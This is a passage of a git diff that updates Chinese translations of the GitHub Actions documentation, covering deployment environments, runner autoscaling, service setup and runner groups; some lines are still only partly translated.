-  For example, if you specify `releases/*` as a deployment branch rule, only branches whose name begins with `releases/` can deploy to the environment. (Wildcard characters will not match `/`. To match branches that begin with `release/` and contain an additional single slash, use `release/*/*`.) If you add `main` as a deployment branch rule, a branch named `main` can also deploy to the environment. For more information about syntax options for deployment branches, see the [Ruby File.fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+  例如，如果您指定 `releases/*` 为部署分支规则，则只有其名称开头为 `releases/` 的分支才能部署到环境。 （通配符字符将不匹配 `/`。 要匹配以 `release/` 开头并且包含额外单一斜杠的分支，请使用 `release/*/*`）。 如果您添加 `main` 作为部署分支规则，则名为 `main` 的分支也可以部署到环境。 有关部署分支的语法选项的更多信息，请参阅 [Ruby File.fnmatch 文档](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch)。
 {% endif %}
-## Environment secrets
+## 环境机密
 
-Secrets stored in an environment are only available to workflow jobs that reference the environment. If the environment requires approval, a job cannot access environment secrets until one of the required reviewers approves it. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+存储在环境中的机密仅可用于引用环境的工作流程作业。 如果环境需要批准，作业在所需的审查者批准之前不能访问环境机密。 有关机密的更多信息，请参阅“[加密密码](/actions/reference/encrypted-secrets)”。
 
 {% note %}
 
-**Note:** Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+**注意：** 在自托管运行器上运行的工作流程不会在一个孤立的容器中运行，即使它们使用环境。 Environment secrets should be treated with the same level of security as repository and organization secrets. 更多信息请参阅“[GitHub Actions 的安全性增强](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners)”。
 
 {% endnote %}
 
-## Creating an environment
+## 创建环境
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
@@ -78,7 +78,7 @@ Secrets stored in an environment are only available to workflow jobs that refere
 {% data reusables.github-actions.name-environment %}
 1. Optionally, specify people or teams that must approve workflow jobs that use this environment.
    1. Select **Required reviewers**.
-   1. Enter up to 6 people or teams. Only one of the required reviewers needs to approve the job for it to proceed.
+   1. Enter up to 6 people or teams. 只有一个必需的审查者需要批准该作业才能继续。
    1. Click **Save protection rules**.
 2. Optionally, specify the amount of time to wait before allowing workflow jobs that use this environment to proceed.
    1. Select **Wait timer**.
@@ -87,37 +87,37 @@ Secrets stored in an environment are only available to workflow jobs that refere
 3. Optionally, specify what branches can deploy to this environment. For more information about the possible values, see "[Deployment branches](#deployment-branches)."
    1. Select the desired option in the **Deployment branches** dropdown.
    1. If you chose **Selected branches**, enter the branch name patterns that you want to allow.
-4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. For more information about secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+4. Optionally, add environment secrets. These secrets are only available to workflow jobs that use the environment. Additionally, workflow jobs that use this environment can only access these secrets after any configured rules (for example, required reviewers) pass. 有关机密的更多信息，请参阅“[加密密码](/actions/reference/encrypted-secrets)”。
    1. Under **Environment secrets**, click **Add Secret**.
    1. Enter the secret name.
    1. Enter the secret value.
-   1. Click **Add secret**.
+   1. 单击 **Add secret（添加密码）**。
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also create and configure environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)" and "[Secrets](/rest/reference/actions#secrets)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}您也可以通过 REST API 创建和配置环境。 更多信息请参阅“[环境](/rest/reference/repos#environments)”和“[密码](/rest/reference/actions#secrets)”。{% endif %}
 
-Running a workflow that references an environment that does not exist will create an environment with the referenced name. The newly created environment will not have any protection rules or secrets configured. Anyone that can edit workflows in the repository can create environments via a workflow file, but only repository admins can configure the environment.
+运行引用不存在的环境的工作流程将使用引用的名称创建环境。 新创建的环境将不配置任何保护规则或机密。 可在仓库中编辑工作流程的任何人都可以通过工作流程文件创建环境，但只有仓库管理员才能配置环境。
 
 ## Using an environment
 
-Each job in a workflow can reference a single environment. Any protection rules configured for the environment must pass before a job referencing the environment is sent to a runner. The job can access the environment's secrets only after the job is sent to a runner.
+工作流程中的每个作业都可以引用单个环境。 在将引用环境的作业发送到运行器之前，必须通过为环境配置的任何保护规则。 The job can access the environment's secrets only after the job is sent to a runner.
 
-When a workflow references an environment, the environment will appear in the repository's deployments. For more information about viewing current and previous deployments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+当工作流程引用环境时，环境将显示在仓库的部署中。 有关查看当前和以前的部署的详细信息，请参阅“[查看部署历史记录](/developers/overview/viewing-deployment-history)”。
 
 {% data reusables.actions.environment-example %}
 
-## Deleting an environment
+## 删除环境
 
 {% data reusables.github-actions.permissions-statement-environment %}
 
-Deleting an environment will delete all secrets and protection rules associated with the environment. Any jobs currently waiting because of protection rules from the deleted environment will automatically fail.
+删除环境将删除与环境关联的所有机密和保护规则。 由于已删除环境的保护规则而正在等待的任何作业将自动失败。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Next to the environment that you want to delete, click {% octicon "trash" aria-label="The trash icon" %}.
-2. Click **I understand, delete this environment**.
+1. 在要删除的环境旁边，单击 {% octicon "trash" aria-label="The trash icon" %}。
+2. 单击 **I understand, delete this environment（我了解，删除此环境）**。
 
-{% ifversion fpt or ghae or ghes > 3.1 or ghec %}You can also delete environments through the REST API. For more information, see "[Environments](/rest/reference/repos#environments)."{% endif %}
+{% ifversion fpt or ghae or ghes > 3.1 or ghec %}您也可以通过 REST API 删除环境。 更多信息请参阅“[环境](/rest/reference/repos#environments)”。{% endif %}
 
 ## How environments relate to deployments
 
@@ -125,6 +125,6 @@ Deleting an environment will delete all secrets and protection rules associated
 
 You can access these objects through the REST API or GraphQL API. You can also subscribe to these webhook events. For more information, see "[Repositories](/rest/reference/repos#deployments)" (REST API), "[Objects]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#deployment)" (GraphQL API), or "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
 
-## Next steps
+## 后续步骤
 
 {% data variables.product.prodname_actions %} provides several features for managing your deployments. For more information, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)."
diff --git a/translations/zh-CN/content/actions/guides.md b/translations/zh-CN/content/actions/guides.md
index 3a445c387b..af76254e1a 100644
--- a/translations/zh-CN/content/actions/guides.md
+++ b/translations/zh-CN/content/actions/guides.md
@@ -1,6 +1,6 @@
 ---
 title: Guides for GitHub Actions
-intro: 'These guides for {% data variables.product.prodname_actions %} include specific use cases and examples to help you configure workflows.'
+intro: '{% data variables.product.prodname_actions %} 的这些指南包含具体的使用案例和示例来帮助您配置工作流程。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -20,7 +20,7 @@ includeGuides:
   - /actions/quickstart
   - /actions/learn-github-actions/introduction-to-github-actions
   - /actions/creating-actions/creating-a-docker-container-action
-  - /actions/learn-github-actions/using-workflow-templates
+  - /actions/learn-github-actions/using-starter-workflows
   - /actions/automating-builds-and-tests/building-and-testing-python
   - /actions/automating-builds-and-tests/building-and-testing-nodejs
   - /actions/publishing-packages/about-packaging-with-github-actions
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
index ed2c6cc905..78078cc6b8 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md
@@ -14,33 +14,33 @@ type: overview
 
 ## About autoscaling
 
-You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the  [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity. 
+You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the  [`queued`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity.
 
 ## Recommended autoscaling solutions
 
-{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs. 
+{% data variables.product.prodname_dotcom %} recommends and partners closely with two open source projects that you can use for autoscaling your runners. One or both solutions may be suitable, based on your needs.
 
-The following repositories have detailed instructions for setting up these autoscalers: 
+The following repositories have detailed instructions for setting up these autoscalers:
 
 - [actions-runner-controller/actions-runner-controller](https://github.com/actions-runner-controller/actions-runner-controller) - A Kubernetes controller for {% data variables.product.prodname_actions %} self-hosted runners.
 - [philips-labs/terraform-aws-github-runner](https://github.com/philips-labs/terraform-aws-github-runner) - A Terraform module for scalable {% data variables.product.prodname_actions %} runners on Amazon Web Services.
 
 Each solution has certain specifics that may be important to consider:
 
-| **Features** | **actions-runner-controller** | **terraform-aws-github-runner** |
-| :--- | :--- | :--- |
-| Runtime | Kubernetes | Linux and Windows VMs |
-| Supported Clouds | Azure, Amazon Web Services, Google Cloud Platform, on-premises | Amazon Web Services |
-| Where runners can be scaled | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. |
-| Pull-based autoscaling support | Yes | No |
+| **功能**                         | **actions-runner-controller**                                                      | **terraform-aws-github-runner**                                       |
+|:------------------------------ |:---------------------------------------------------------------------------------- |:--------------------------------------------------------------------- |
+| Runtime                        | Kubernetes                                                                         | Linux and Windows VMs                                                 |
+| Supported Clouds               | Azure, Amazon Web Services, Google Cloud Platform, on-premises                     | Amazon Web Services                                                   |
+| Where runners can be scaled    | Enterprise, organization, and repository levels. By runner label and runner group. | Organization and repository levels. By runner label and runner group. |
+| Pull-based autoscaling support | 是                                                                                  | 否                                                                     |
 
 ## Using ephemeral runners for autoscaling
 
 {% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner.
 
-This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.  
+This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs.
 
-To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example:
+To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. 例如：
 
 ```
 $ ./config.sh --url https://github.com/octo-org --token example-token --ephemeral
@@ -63,7 +63,7 @@ You can create your own autoscaling environment by using payloads received from
 
 ## Authentication requirements
 
-You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app. 
+You can register and delete repository and organization self-hosted runners using [the API](/rest/reference/actions#self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app.
 
 Your access token will require the following scope:
 
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
index 64f8750f4a..f7b1a5d09e 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring the self-hosted runner application as a service
-intro: You can configure the self-hosted runner application as a service to automatically start the runner application when the machine starts.
+title: 将自托管的运行应用程序配置为服务
+intro: 您可以将自托管的运行器应用程序配置为服务，以在机器启动时自动启动运行器应用程序。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service
 versions:
@@ -10,16 +10,16 @@ versions:
   ghec: '*'
 type: tutorial
 defaultPlatform: linux
-shortTitle: Run runner app on startup
+shortTitle: 启动时运行运行器应用程序
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-{% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %}
-{% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %}
-{% capture service_nonwindows_intro %}You must add a runner to {% data variables.product.product_name %} before you can configure the self-hosted runner application as a service. For more information, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."{% endcapture %}
+{% capture service_first_step %}1. 如果自托管的运行器应用程序正在运行，请停止它。{% endcapture %}
+{% capture service_non_windows_intro_shell %}在运行器机器上，在安装了自托管运行器应用程序的目录中打开 shell。 使用以下命令安装和管理自托管的运行器服务。{% endcapture %}
+{% capture service_nonwindows_intro %}将自托管的运行器应用程序配置为服务之前，您必须添加运行器到 {% data variables.product.product_name %}。 更多信息请参阅“[添加自托管的运行器](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)”。{% endcapture %}
 {% capture service_win_name %}actions.runner.*{% endcapture %}
 
 
@@ -27,7 +27,7 @@ shortTitle: Run runner app on startup
 
 {{ service_nonwindows_intro }}
 
-For Linux systems that use `systemd`, you can use the `svc.sh` script distributed with the self-hosted runner application to install and manage using the application as a service.
+对于使用 `systemd` 的 Linux 系统，您可以使用随自托管运行器应用程序分发的 `svc.h` 脚本来安装和管理应用程序即服务。
 
 {{ service_non_windows_intro_shell }}
 
@@ -37,13 +37,13 @@ For Linux systems that use `systemd`, you can use the `svc.sh` script distribute
 
 {% note %}
 
-**Note:** Configuring the self-hosted runner application as a service on Windows is part of the application configuration process. If you have already configured the self-hosted runner application but did not choose to configure it as a service, you must remove the runner from {% data variables.product.prodname_dotcom %} and re-configure the application. When you re-configure the application, choose the option to configure the application as a service.
+**注意：** 在 Windows 上将自托管运行器应用程序配置为服务是应用程序配置过程的一部分。 如果已配置自托管运行器应用程序，但没有选择将其配置为服务，则必须从 {% data variables.product.prodname_dotcom %} 中删除运行器并重新配置应用程序。 当您重新配置应用程序时，选择将应用程序配置为服务的选项。
 
-For more information, see "[Removing self-hosted runners](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."
+更多信息请参阅“[删除自托管的运行器](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)”和“[添加自托管的运行器](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)”。
 
 {% endnote %}
 
-You can manage the runner service in the Windows **Services** application, or you can use PowerShell to run the commands below.
+您可以在 Windows **Services** 应用程序中管理运行器服务，也可以使用 PowerShell 来运行下面的命令。
 
 {% endwindows %}
 
@@ -57,10 +57,10 @@ You can manage the runner service in the Windows **Services** application, or yo
 
 {% linux %}
 
-## Installing the service
+## 安装服务
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. 使用以下命令安装服务：
 
    ```shell
    sudo ./svc.sh install
@@ -69,19 +69,19 @@ You can manage the runner service in the Windows **Services** application, or yo
 {% endlinux %}
 {% mac %}
 
-## Installing the service
+## 安装服务
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. 使用以下命令安装服务：
 
    ```shell
    ./svc.sh install
    ```
 {% endmac %}
 
-## Starting the service
+## 启动服务
 
-Start the service with the following command:
+使用以下命令启动服务：
 
 {% linux %}
 ```shell
@@ -99,9 +99,9 @@ Start-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Checking the status of the service
+## 检查服务状态
 
-Check the status of the service with the following command:
+使用以下命令检查服务状态：
 
 {% linux %}
 ```shell
@@ -119,11 +119,11 @@ Get-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
- For more information on viewing the status of your self-hosted runner, see  "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+ 有关查看自托管运行器状态的更多信息，请参阅“[自托管运行器监控和故障排除](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)”。
 
-## Stopping the service
+## 停止服务
 
-Stop the service with the following command:
+使用以下命令停止服务：
 
 {% linux %}
 ```shell
@@ -141,10 +141,10 @@ Stop-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Uninstalling the service
+## 卸载服务
 
-1. Stop the service if it is currently running.
-1. Uninstall the service with the following command:
+1. 停止正在运行的服务。
+1. 使用以下命令卸载服务：
 
     {% linux %}
     ```shell
@@ -165,16 +165,16 @@ Stop-Service "{{ service_win_name }}"
 
 {% linux %}
 
-## Customizing the self-hosted runner service
+## 自定义自托管运行器服务
 
-If you don't want to use the above default `systemd` service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `serviced` template at `actions-runner/bin/actions.runner.service.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+如果您不想使用上述默认 `systemd` 服务配置，您可以创建自定义服务或使用您喜欢的服务机制。 考虑使用 `actions-runner/bin/actions.runner.service.template` 中的 `serviced` 模板作为参考。 如果您使用自定义的服务，必须始终使用 `runsvc.sh` 入口来调用自托管的运行器服务。
 
 {% endlinux %}
 
 {% mac %}
 
-## Customizing the self-hosted runner service
+## 自定义自托管运行器服务
 
-If you don't want to use the above default launchd service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `plist` template at `actions-runner/bin/actions.runner.plist.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+如果您不想使用上述默认 launchd 服务配置，您可以创建自定义服务或使用您喜欢的服务机制。 考虑使用 `actions-runner/bin/actions.runner.plist.template` 中的 `plist` 模板作为参考。 如果您使用自定义的服务，必须始终使用 `runsvc.sh` 入口来调用自托管的运行器服务。
 
 {% endmac %}
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/index.md b/translations/zh-CN/content/actions/hosting-your-own-runners/index.md
index 35bffd48e4..6a261e2651 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/index.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/index.md
@@ -1,6 +1,6 @@
 ---
-title: Hosting your own runners
-intro: You can create self-hosted runners to run workflows in a highly customizable environment.
+title: 托管您自己的运行器
+intro: 您可以创建自托管的运行器，在一个可高度自定义的环境中运行工作流程。
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners
   - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners
@@ -27,6 +27,7 @@ children:
   - /monitoring-and-troubleshooting-self-hosted-runners
   - /removing-self-hosted-runners
 ---
+
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/translations/zh-CN/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
index a0afa6e963..dc2789f2cf 100644
--- a/translations/zh-CN/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
+++ b/translations/zh-CN/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to self-hosted runners using groups
-intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise.
+title: 使用组管理自托管运行器的访问权限
+intro: 您可以使用策略来限制对已添加到组织或企业的自托管运行器的访问。
 redirect_from:
   - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners
 versions:
@@ -9,54 +9,55 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Manage runner groups
+shortTitle: 管理运行器组
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About self-hosted runner groups
+## 关于自托管运行器组
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** All organizations have a single default self-hosted runner group. Only enterprise accounts and organizations owned by enterprise accounts can create and manage additional self-hosted runner groups.
+**注：**所有组织都有一个默认的自托管运行器组。 只有企业帐户和企业帐户拥有的组织才能创建和管理其他自托管的运行器组。
 
 {% endnote %}
 
-Self-hosted runner groups are used to control access to self-hosted runners. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+Self-hosted runner groups are used to control access to self-hosted runners. 组织管理员可以配置访问策略，用以控制组织中的哪些组织可以访问运行器组。
+如果您使用
 
-If you use {% data variables.product.prodname_ghe_cloud %}, you can create additional runner groups; enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group; and organization admins can assign additional granular repository access policies to the enterprise runner group. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
+{% data variables.product.prodname_ghe_cloud %}, you can create additional runner groups; enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group; and organization admins can assign additional granular repository access policies to the enterprise runner group. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
-Self-hosted runner groups are used to control access to self-hosted runners at the organization and enterprise level. Enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+自托管运行器组用于控制对组织和企业级自托管运行器的访问。 企业管理员可以配置访问策略，用以控制企业中的哪些组织可以访问运行器组。 组织管理员可以配置访问策略，用以控制组织中的哪些组织可以访问运行器组。
 
-When an enterprise admin grants an organization access to a runner group, organization admins can see the runner group listed in the organization's self-hosted runner settings. The organizations admins can then assign additional granular repository access policies to the enterprise runner group.
+当企业管理员授予组织对运行器组的访问权限时，组织管理员可以看到组织的自托管运行器设置中列出的运行器组。 然后，组织管理员可以为企业运行器组分配其他细致的仓库访问策略。
 
-When new runners are created, they are automatically assigned to the default group. Runners can only be in one group at a time. You can move runners from the default group to another group. For more information, see "[Moving a self-hosted runner to a group](#moving-a-self-hosted-runner-to-a-group)."
+新运行器在创建时，将自动分配给默认组。 运行器每次只能在一个组中。 您可以将运行器从默认组移到另一组。 更多信息请参阅“[将自托管运行器移动到组](#moving-a-self-hosted-runner-to-a-group)”。
 
-## Creating a self-hosted runner group for an organization
+## 为组织创建自托管的运行器组
 
-All organizations have a single default self-hosted runner group. Organizations within an enterprise account can create additional self-hosted groups. Organization admins can allow individual repositories access to a runner group. For information about how to create a self-hosted runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)."
+所有组织都有一个默认的自托管运行器组。 企业帐户中的组织可以创建其他自托管组。 组织管理员可以允许单个仓库访问运行器组。 有关如何使用 REST API 创建自托管运行器组的信息，请参阅“[自托管运行器组](/rest/reference/actions#self-hosted-runner-groups)”。
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create.
+自托管运行器在创建时会自动分配给默认组，并且每次只能成为一个组的成员。 您可以将运行器从默认组移到您创建的任何组。
 
-When creating a group, you must choose a policy that defines which repositories have access to the runner group.
+创建组时，必须选择用于定义哪些仓库有权访问运行器组的策略。
 
 {% ifversion ghec %}
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runner-groups %}
-1. In the "Runner groups" section, click **New runner group**.
+1. 在“Runner groups（运行器组）”部分，单击 **New runner group（新运行器组）**。
  {% data reusables.github-actions.runner-group-assign-policy-repo %}
 
    {% warning %}
 
-   **Warning**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
+   **警告：** {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)”。
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -65,50 +66,50 @@ When creating a group, you must choose a policy that defines which repositories
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
-1. In the "Self-hosted runners" section, click **Add new**, and then **New group**.
+1. 在“Self-hosted runners（自托管运行器）”部分，单击 **Add new（新增）**，然后单击 **New group（新组）**。
 
-    ![Add runner group](/assets/images/help/settings/actions-org-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for repository access.
+    ![添加运行器组](/assets/images/help/settings/actions-org-add-runner-group.png)
+1. 输入运行程序组的名称，并分配仓库访问策略。
 
-   {% ifversion ghes or ghae %} You can configure a runner group to be accessible to a specific list of repositories, or to all repositories in the organization. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %}
+   {% ifversion ghes or ghae %} 您可以配置一个运行器组可供一组特定的仓库或组织中所有仓库访问。 默认情况下，只有私有仓库可以访问运行器组中的运行器，但您可以覆盖此设置。 This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %}
 
    {% warning %}
 
-   **Warning**
+   **警告**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)”。
 
    {% endwarning %}
 
-   ![Add runner group options](/assets/images/help/settings/actions-org-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+   ![添加运行器组选项](/assets/images/help/settings/actions-org-add-runner-group-options.png)
+1. 单击 **Save group（保存组）**创建组并应用策略。
 {% endif %}
 
-## Creating a self-hosted runner group for an enterprise
+## 为企业创建自托管运行器组
 
-Enterprises can add their self-hosted runners to groups for access management. Enterprises can create groups of self-hosted runners that are accessible to specific organizations in the enterprise account. Organization admins can then assign additional granular repository access policies to the enterprise runner groups. For information about how to create a self-hosted runner group with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+企业可以将其自托管的运行器添加到组以进行访问管理。 企业可以创建供企业帐户中特定组织访问的自托管运行器组。 然后，组织管理员可以为企业运行器组分配其他细致的仓库访问策略。 有关如何使用 REST API 创建自托管运行器组的信息，请参阅[企业管理 GitHub Actions API](/rest/reference/enterprise-admin#github-actions)。
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group.
+自托管运行器在创建时会自动分配给默认组，并且每次只能成为一个组的成员。 您可以在注册过程中将运行器分配给特定组，也可以稍后将运行器从默认组移到自定义组。
 
-When creating a group, you must choose a policy that defines which organizations have access to the runner group.
+创建组时，必须选择用于定义哪些组织有权访问运行器组的策略。
 
 {% ifversion ghec %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runner-groups-tab %}
-1. Click **New runner group**.
+1. 单击 **New runner group（新运行器组）**。
  {% data reusables.github-actions.runner-group-assign-policy-org %}
 
    {% warning %}
 
-   **Warning**
+   **警告**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)”。
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -118,43 +119,43 @@ When creating a group, you must choose a policy that defines which organizations
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runners-tab %}
